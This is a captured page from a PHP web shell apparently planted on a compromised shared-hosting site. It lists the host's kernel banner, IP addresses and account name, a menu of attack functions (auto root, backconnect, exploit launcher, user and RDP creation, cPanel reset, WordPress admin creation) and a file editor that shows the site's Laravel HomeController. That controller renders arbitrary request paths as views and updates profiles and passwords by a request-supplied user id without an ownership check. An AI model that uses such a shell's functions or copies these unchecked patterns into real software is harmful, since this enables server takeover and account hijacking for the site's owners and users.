Linux premium131.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
LiteSpeed
: 162.0.232.56 | : 216.73.216.17
Cant Read [ /etc/named.conf ]
8.1.33
syrihapj
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
syrihapj /
public_html /
app /
Http /
Controllers /
[ HOME SHELL ]
Name
Size
Permission
Action
Auth
[ DIR ]
dr-xr-xr-x
Controller.php
361
B
-rw-r--r--
DataController.php
3.11
KB
-rw-r--r--
HomeController.php
3.98
KB
-rw-r--r--
IndexController.php
274
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : HomeController.php
<?php namespace App\Http\Controllers; use App\Models\Data; use App\Models\User; use Illuminate\Support\Facades\Auth; use Illuminate\Http\Request; use Illuminate\Support\Facades\Hash; use Illuminate\Support\Facades\App; use Illuminate\Support\Facades\Session; class HomeController extends Controller { /** * Create a new controller instance. * * @return void */ /** * Show the application dashboard. * * @return \Illuminate\Contracts\Support\Renderable */ public function index(Request $request) { if (view()->exists($request->path())) { return view($request->path()); } return abort(404); } public function root() { $data = Data::orderBy('id', 'desc')->take(10)->get(); return view('index', compact('data')); } /*Language Translation*/ public function lang($locale) { if ($locale) { App::setLocale($locale); Session::put('lang', $locale); Session::save(); return redirect()->back()->with('locale', $locale); } else { return redirect()->back(); } } public function updateProfile(Request $request, $id) { $request->validate([ 'name' => ['required', 'string', 'max:255'], 'email' => ['required', 'string', 'email'], 'avatar' => ['nullable', 'image', 'mimes:jpg,jpeg,png', 'max:1024'], ]); $user = User::find($id); $user->name = $request->get('name'); $user->email = $request->get('email'); if ($request->file('avatar')) { $avatar = $request->file('avatar'); $avatarName = time() . '.' . $avatar->getClientOriginalExtension(); $avatarPath = public_path('/images/'); $avatar->move($avatarPath, $avatarName); $user->avatar = '/images/' . $avatarName; } $user->update(); if ($user) { Session::flash('message', 'User Details Updated successfully!'); Session::flash('alert-class', 'alert-success'); return response()->json([ 'isSuccess' => true, 'Message' => "User Details Updated successfully!" ], 200); // Status code here } else { Session::flash('message', 'Something went wrong!'); Session::flash('alert-class', 'alert-danger'); return response()->json([ 'isSuccess' => true, 'Message' => "Something went wrong!" ], 200); // Status code here } } public function updatePassword(Request $request, $id) { $request->validate([ 'current_password' => ['required', 'string'], 'password' => ['required', 'string', 'min:6', 'confirmed'], ]); if (!(Hash::check($request->get('current_password'), Auth::user()->password))) { return response()->json([ 'isSuccess' => false, 'Message' => "Your Current password does not matches with the password you provided. Please try again." ], 200); // Status code } else { $user = User::find($id); $user->password = Hash::make($request->get('password')); $user->update(); if ($user) { Session::flash('message', 'Password updated successfully!'); Session::flash('alert-class', 'alert-success'); return response()->json([ 'isSuccess' => true, 'Message' => "Password updated successfully!" ], 200); // Status code here } else { Session::flash('message', 'Something went wrong!'); Session::flash('alert-class', 'alert-danger'); return response()->json([ 'isSuccess' => true, 'Message' => "Something went wrong!" ], 200); // Status code here } } } }
Close